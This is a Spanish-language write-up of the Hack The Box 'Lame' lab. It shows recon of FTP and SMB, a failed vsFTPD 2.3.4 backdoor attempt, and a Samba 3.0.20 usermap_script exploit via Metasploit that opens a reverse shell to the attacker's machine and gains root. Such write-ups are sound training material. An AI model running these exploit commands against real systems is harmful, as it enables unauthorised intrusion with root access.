



Hack The Box
PEN-TESTING LABS

Write-Up Lame



Dificultad

Fácil

IP

10.10.10.3



Índice

1. Reconocimiento Inicial	2
1.1. Análisis del Servicio FTP	2
1.2. Análisis del Servicio SMB	3
2. Explotación	4
2.1. Explotación del Servicio FTP (vsFTPD 2.3.4)	4
2.2. Explotación del Servicio Samba (3.0.20)	5
3. Herramientas utilizadas	6
4. Reflexión final	7



1. Reconocimiento Inicial

Se llevó a cabo un escaneo de reconocimiento utilizando **nmap** para identificar servicios expuestos, versiones y posibles vectores de ataque. El comando utilizado fue:

```
1 nmap -Pn -sC -sV 10.10.10.3 -vvv
```

Código 1: Escaneo de servicios con Nmap

El escaneo reveló los siguientes puertos abiertos y servicios en ejecución:

- **Puerto 21/tcp (FTP)** - vsftpd 2.3.4
 - Acceso anónimo permitido.
- **Puerto 22/tcp (SSH)** - OpenSSH 4.7p1 Debian 8ubuntu1
- **Puerto 139/tcp y 445/tcp (Samba)** - Samba smbd 3.0.20-Debian
 - `message_signing` deshabilitado, lo que representa una debilidad de seguridad.

Este reconocimiento inicial proporciona una base sólida para la fase de explotación, especialmente considerando el acceso anónimo al FTP y la versión vulnerable de Samba.

1.1. Análisis del Servicio FTP

Se identificó el servicio FTP corriendo en el puerto 21, correspondiente a **vsFTPD 2.3.4**. Se permitió el acceso anónimo, lo que representa un vector de ataque potencial. El siguiente escaneo lo evidencia:

```
PORT      STATE SERVICE      REASON  VERSION
21/tcp    open  ftp          syn-ack vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 10.10.14.72
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPd 2.3.4 - secure, fast, stable
| End of status
```

Figura 1: Resultado del escaneo FTP con Nmap – Acceso anónimo habilitado

Posteriormente, se accedió manualmente al servicio FTP utilizando login anónimo, pero no había archivos:



```
> ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:darknight): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||16921|).
150 Here comes the directory listing.
226 Directory send OK.
```

Figura 2: Sesión FTP anónima mostrando listados de directorios

1.2. Análisis del Servicio SMB

El escaneo reveló los puertos 139 y 445 abiertos, correspondientes a servicios SMB. Se detectó una versión antigua del servidor Samba (3.0.20-Debian), que podría ser vulnerable. Además, el 'message.signing' está deshabilitado, lo que representa un riesgo adicional:

```
139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 59488/tcp): CLEAN (Timeout)
|   Check 2 (port 15856/tcp): CLEAN (Timeout)
|   Check 3 (port 40169/udp): CLEAN (Timeout)
|   Check 4 (port 35556/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2025-05-23T05:03:49-04:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_ clock-skew: mean: 1h00m21s, deviation: 2h49m43s, median: -59m39s
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ smb2-security-mode: Couldn't establish a SMBv2 connection.
```

Figura 3: Resultados detallados del escaneo SMB con Nmap

Con la herramienta **smbmap** se identificaron recursos compartidos. Se evidenció acceso de lectura y escritura al recurso **tmp**, lo cual es crítico:



```
> smbmap -H 10.10.10.3
[+] IP: 10.10.10.3:445 Name: 10.10.10.3
Disk
----
print$      NO ACCESS      Printer Drivers
tmp         READ, WRITE    oh noes!
opt         NO ACCESS
IPC$        NO ACCESS      IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$      NO ACCESS      IPC Service (lame server (Samba 3.0.20-Debian))
```

Figura 4: Recursos compartidos listados con `smbmap`

Finalmente, se accedió a dicho recurso compartido con `smbclient` sin necesidad de autenticación, lo cual permitió listar el contenido del directorio aunque no hubiera nada relevante:

```
> smbclient -N \\10.10.10.3\tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0   Fri May 23 11:16:40 2025
..               DR           0   Sat Oct 31 07:33:58 2020
.ICE-unix        DH            0   Fri May 23 06:01:36 2025
vmware-root      DR            0   Fri May 23 06:02:10 2025
.X11-unix        DH            0   Fri May 23 06:02:01 2025
.X0-lock         HR           11   Fri May 23 06:02:01 2025
5541.jsvc_up     R             0   Fri May 23 06:02:37 2025
vgauthsvclog.txt R          1600   Fri May 23 06:01:34 2025
```

Figura 5: Acceso anónimo al recurso `tmp` vía `smbclient`

2. Explotación

Una vez identificado el software y las versiones vulnerables en los servicios FTP y Samba, se procedió a explotar las vulnerabilidades conocidas utilizando **Metasploit Framework**.

2.1. Explotación del Servicio FTP (vsFTPD 2.3.4)

Se identificó la versión vulnerable `vsFTPD 2.3.4`, conocida por contener una puerta trasera (backdoor) que permite la ejecución remota de comandos al incluir `":)"` en el nombre de usuario.

Se utilizó el módulo:

```
1 search vsftpd 2.3.4
2 use exploit/unix/ftp/vsftpd_234_backdoor
3 set rhosts 10.10.10.3
4 run
```

Código 2: Selección del módulo para `vsFTPD 2.3.4` en Metasploit



```
[msf](Jobs:0 Agents:0) >> search vsFTPD 2.3.4

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -  -                                     -              -    -  -  -
0  exploit/unix/ftp/_____234_backdoor  2011-07-03      excellent No      _____ v_____ Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to cmd/unix/interact
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> set rhosts 10.10.10.3
rhosts => 10.10.10.3
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> run
[*] 10.10.10.3:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
```

Figura 6: Intento de explotación de vsFTPD 2.3.4 con Metasploit

El módulo de Metasploit realiza los siguientes pasos:

1. Se conecta al puerto FTP estándar (21) del objetivo.
2. Envía un nombre de usuario con el sufijo :) — lo cual, si la versión está infectada, desencadena la activación de la puerta trasera.
3. Luego de enviar un comando PASS, no se espera una autenticación válida, sino que el servicio vsFTPD, al estar modificado, abre un **servicio oculto** en el puerto 6200/tcp.
4. El módulo intenta conectarse a este puerto, y si tiene éxito, interpreta que se ha establecido una shell interactiva.
5. A través de esta shell, Metasploit puede enviar comandos directamente al sistema, como id, y posteriormente cargar un payload (por ejemplo, una reverse shell).

En este caso, aunque el servicio FTP respondió a la conexión y se ejecutó el módulo sin errores visibles, no se logró establecer una sesión interactiva. Esto indica que:

- La puerta trasera pudo haber sido eliminada o nunca estuvo presente.
- El puerto 6200 está filtrado o cerrado por un firewall.
- El binario de vsFTPD pudo haber sido parchado o reemplazado.

Por tanto, no se obtuvo acceso al sistema a través de este vector.

2.2. Explotación del Servicio Samba (3.0.20)

Se identificó la versión Samba 3.0.20, vulnerable a la ejecución de comandos arbitrarios mediante el módulo usermap_script. Se procedió a explotarla con éxito, obteniendo acceso con privilegios de root.

```
1 search Samba 3.0.20
2 use exploit/multi/samba/usermap_script
3 set rhosts 10.10.10.3
4 set lhost 10.10.14.72
5 run
```

Código 3: Uso del módulo Samba usermap_script



```
[msf](Jobs:0 Agents:0) >> search "Samba 3.0.20"

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/multi/samba/usermap_script  2007-05-14      excellent No      "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

[msf](Jobs:0 Agents:0) >> use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse netcat
```

Figura 7: Selección del módulo para Samba usermap_script

El módulo `usermap_script` explota una vulnerabilidad en la forma en que Samba maneja el parámetro `username map script`. Este parámetro está diseñado para mapear usuarios de forma dinámica utilizando un script personalizado. Sin embargo, en versiones vulnerables como la 3.0.20, el contenido del nombre de usuario no se sanitiza correctamente, permitiendo inyectar comandos del sistema dentro del script de mapeo.

Metasploit aprovecha esta debilidad enviando un nombre de usuario malicioso que contiene un payload, usualmente una shell inversa. Este valor es procesado por el script de mapeo y ejecutado directamente en el sistema como si fuera un comando legítimo. Dado que el proceso `smbd` suele ejecutarse como `root`, el código malicioso también hereda estos privilegios.

La explotación fue exitosa, como se evidencia con el resultado del comando `id`:

```
1 id
2 uid=0(root) gid=0(root)
```

```
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set rhosts 10.10.10.3
rhosts => 10.10.10.3
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> set lhost 10.10.14.72
lhost => 10.10.14.72
[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) >> run
[*] Started reverse TCP handler on 10.10.14.72:4444
[*] Command shell session 1 opened (10.10.14.72:4444 -> 10.10.10.3:43153) at 2025-05-23 12:19:48 +0200

id
uid=0(root) gid=0(root)
```

Figura 8: Ejecución exitosa del exploit `usermap_script` - acceso root

Este acceso directo como usuario `root` confirma la explotación completa del sistema objetivo, lo que permitió la lectura de las flags `user.txt` y `root.txt`, cumpliendo con los objetivos del ejercicio.

3. Herramientas utilizadas

Durante la resolución de la máquina **Lame** se emplearon las siguientes herramientas:

- `nmap` — para el reconocimiento de puertos, servicios y versiones.
- `smbmap` — para identificar recursos compartidos accesibles en el servicio SMB.
- `smbclient` — para interactuar con los recursos compartidos vía SMB sin autenticación.
- **Metasploit Framework** — para la explotación de vulnerabilidades conocidas en `vsFTPd` 2.3.4 y Samba 3.0.20.
- `FTP` — para acceder manualmente al servicio FTP anónimo.



4. Reflexión final

La máquina **Lame** representa un entorno ideal para familiarizarse con la explotación de servicios con vulnerabilidades conocidas. Este reto destaca por:

- Mostrar el impacto de configuraciones inseguras como el acceso anónimo a servicios FTP y SMB.
- Poner en práctica la identificación de versiones vulnerables y la selección de exploits adecuados mediante **Metasploit**.
- Ilustrar cómo el uso de exploits automatizados puede acelerar el proceso de intrusión.

A pesar de su baja dificultad, este tipo de ejercicios son fundamentales para interiorizar conceptos esenciales del pentesting, como el fingerprinting de servicios y el uso ético de exploits públicos.